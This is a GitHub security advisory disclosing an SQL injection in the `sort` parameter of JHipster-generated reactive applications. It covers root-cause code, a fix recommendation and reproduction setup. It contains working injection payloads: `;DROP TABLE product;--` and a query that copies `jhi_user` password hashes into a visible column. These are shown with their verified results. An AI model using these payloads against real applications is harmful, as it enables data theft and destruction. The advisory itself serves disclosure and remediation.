GitHub Advisoryadvisory · npm
GHSA-r223-96jv-q533 JHipster: SQL Injection in the Parameter of JHipster-Generated Reactive (WebFlux + R2DBC) Applicationssort
HIGH
Official page ↗
- Aliases
- CVE-2026-107375
- Ecosystem
- npm
- Packages
- generator-jhipster
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-89
- Reviewed
- 2026-10-08
Affected packages
• npm generator-jhipster: >= 7.0.0, < 9.4.0 → fixed in 9.4.0
Description
SQL Injection in the `sort` Parameter of JHipster-Generated Reactive (WebFlux + R2DBC) Applications
• Product: jhipster/generator-jhipster (npm package `generator-jhipster`)
• Affected versions: v7.0.0 through v9.2.0
• Component: generated reactive-application code, template `EntityManager_reactive.java.ejs`
• Report date: 2026-08-29
---
1. Summary
Every reactive (Spring WebFlux + Spring Data R2DBC + SQL) application generated by `generator-jhipster` contains an SQL injection in the paginated entity list endpoints (`GET /api/?sort=...`). The `sort` request parameter is taken verbatim from the user and concatenated into the SQL `ORDER BY` clause without quoting or validation. Because the generated query has no bound parameters, the R2DBC drivers execute it via the simple query protocol, so `;`-separated extra statements are run against the database.
A single authenticated low-privileged user (including an account obtained through the default self-registration flow) can therefore execute arbitrary SQL: read any table (including `jhi_user` password hashes), modify or delete data, and drop tables (full C/I/A impact). Independently reproduced end-to-end on the default dev database (H2) and the default production database (PostgreSQL 16).
The JPA (non-reactive) path is not affected: Spring Data JPA validates sort property names against the entity metamodel. NoSQL backends are out of scope of this root cause.
2. Root Cause
The generator template
`generators/spring-boot/generators/data-relational/templates/src/main/java/_package_/repository/EntityManager_reactive.java.ejs` (lines 240–253) writes `createOrderByFields(...)`, which renders the user-supplied sort property directly as an unquoted `SqlIdentifier`:
```java
private static Collection createOrderByFields(Table table, Sort sortToUse) {
List fields = new ArrayList<>();
for (Sort.Order order : sortToUse) {
String propertyName = order.getProperty(); // attacker controlled (?sort=...)
OrderByField orderByField = !propertyName.contains(".")
? OrderByField.from(table.column(propertyName).as(EntityManager.ALIAS_PREFIX + propertyName))
: createOrderByField(propertyName);
fields.add(order.isAscending() ? orderByField.asc() : orderByField.desc());
}
return fields;
}
```
The generated app configures `SqlRenderer.create(factory.createRenderContext())` with the default naming strategy, so unquoted identifiers are rendered verbatim. With `?sort=id;DROP TABLE product;--` the alias renders into:
```sql
SELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e ORDER BY e_id;DROP TABLE product;-- ASC LIMIT 20 OFFSET 0
```
3. Verification
A real application was generated from this repository (`git clone` of the submitted source, v9.2.0), built with Spring Boot 4.1.1, and run against both H2 and PostgreSQL 16.
| Step | H2 (dev default) | PostgreSQL 16 (prod default) |
| ------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------- | -------------------------------------------------- |
| Error probe `sort=name%27` | 500; SQL echoed with raw `'` in `ORDER BY e_name'` | 500; r2dbc-postgresql parse error echoing full SQL |
| Exfiltrate admin hash via `;UPDATE product SET name=(SELECT password_hash FROM jhi_user ...);--` | HTTP 200; `name` becomes `$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC` | HTTP 200; same hash read back |
| `;DROP TABLE product;--` | HTTP 200; table gone, subsequent list → 500 | HTTP 200; table gone, subsequent list → 500 |
All payloads executed with a token carrying only `ROLE_USER`. No other vulnerability or privileged account is required.
4. Impact
CWE-89 SQL Injection. Confidentiality (arbitrary read, incl. `jhi_user` password hashes), Integrity (arbitrary writes), Availability (table drops). The affected code is produced by default for `reactive: true` + SQL database + paginated entity (the default for monoliths and microservices). Applications must be regenerated after a fix.
5. Fix Recommendation
In `EntityManager.createOrderByFields`, validate each sort property against the entity's persistent metamodel (allow only known column names) or render it as a quoted `SqlIdentifier`; never concatenate raw property strings into SQL. Ship the fix in the generator and advise affected applications to regenerate.
---
Appendix
A. Environment setup
```bash
0. Prerequisites: JDK 21, Node >= 20, Docker (PostgreSQL step only), Maven (optional), curl, python3
java -version # openjdk 21.x
node --version # v20+
1. Clone the generator
git clone https://github.com/jhipster/generator-jhipster.git
cd generator-jhipster
git checkout # e.g. v9.2.0 (or keep main). Folder MUST be named generator-jhipster.
npm install --no-audit --no-fund # ~778 packages
npm link # makes `jhipster` available
jhipster --version # expected: 9.2.0
2. Generate the target app (reactive + SQL + JWT + paginated entity)
mkdir -p /tmp/pocwebflux && cd /tmp/pocwebflux
cat > .yo-rc.json product.jdl "Spring Boot 4.1.1 application generated successfully."
jhipster jdl product.jdl --no-insight --force
Sanity check that the generated app contains the vulnerable code (all should match):
grep -n "OrderByField.from(table.column" src/main/java/com/mycompany/pocwebflux/repository/EntityManager.java
grep -n "findAllBy(Pageable" src/main/java/com/mycompany/pocwebflux/repository/ProductRepositoryInternalImpl.java
grep -n "Pageable pageable" src/main/java/com/mycompany/pocwebflux/web/rest/ProductResource.java
3a. Run on H2 (default dev database)
./mvnw -DskipTests package # -> BUILD SUCCESS
setsid nohup $JAVA_HOME/bin/java -jar target/pocwebflux-0.0.1-SNAPSHOT.jar \
--spring.profiles.active=dev --server.port=18080 > app-dev.log 2>&1 {"groups":[...],"status":"UP"}
BASE_URL=http://127.0.0.1:18080 bash /poc/poc.sh
3b. Run on PostgreSQL 16 (default production database)
docker run -d --name jh-pg16 -e POSTGRES_USER=pocwebflux -e POSTGRES_PASSWORD=secret \
-e POSTGRES_DB=pocwebflux -p 15432:5432 postgres:16
./mvnw -Pprod -DskipTests package # prod DB driver is in the Maven prod profile
SECRET=$(python3 -c "import base64,os;print(base64.b64encode(os.urandom(64)).decode())")
setsid nohup $JAVA_HOME/bin/java -jar target/pocwebflux-0.0.1-SNAPSHOT.jar \
--spring.profiles.active=prod --server.port=18081 \
--spring.r2dbc.url=r2dbc:postgresql://127.0.0.1:15432/pocwebflux \
--spring.r2dbc.username=pocwebflux --spring.r2dbc.password=secret \
--spring.liquibase.url=jdbc:postgresql://127.0.0.1:15432/pocwebflux \
…
Related
Alias · CVE (1)
- CVE-2026-107375 JHipster is a development platform to quickly generate, develop, and deploy modern web applications and microservice architectures. vulnerability
Weakness · CWE (1)
- CWE-89 Improper Neutralization of Special Elements used in an SQL Command weakness
References
- https://github.com/jhipster/generator-jhipster/security/advisories/GHSA-r223-96jv-q533 web
- https://github.com/jhipster/generator-jhipster/commit/f6f1579581da8db0d1b8bd28dd473b56951c83af web
- https://github.com/jhipster/generator-jhipster package
- https://github.com/jhipster/generator-jhipster/releases/tag/v9.4.0 web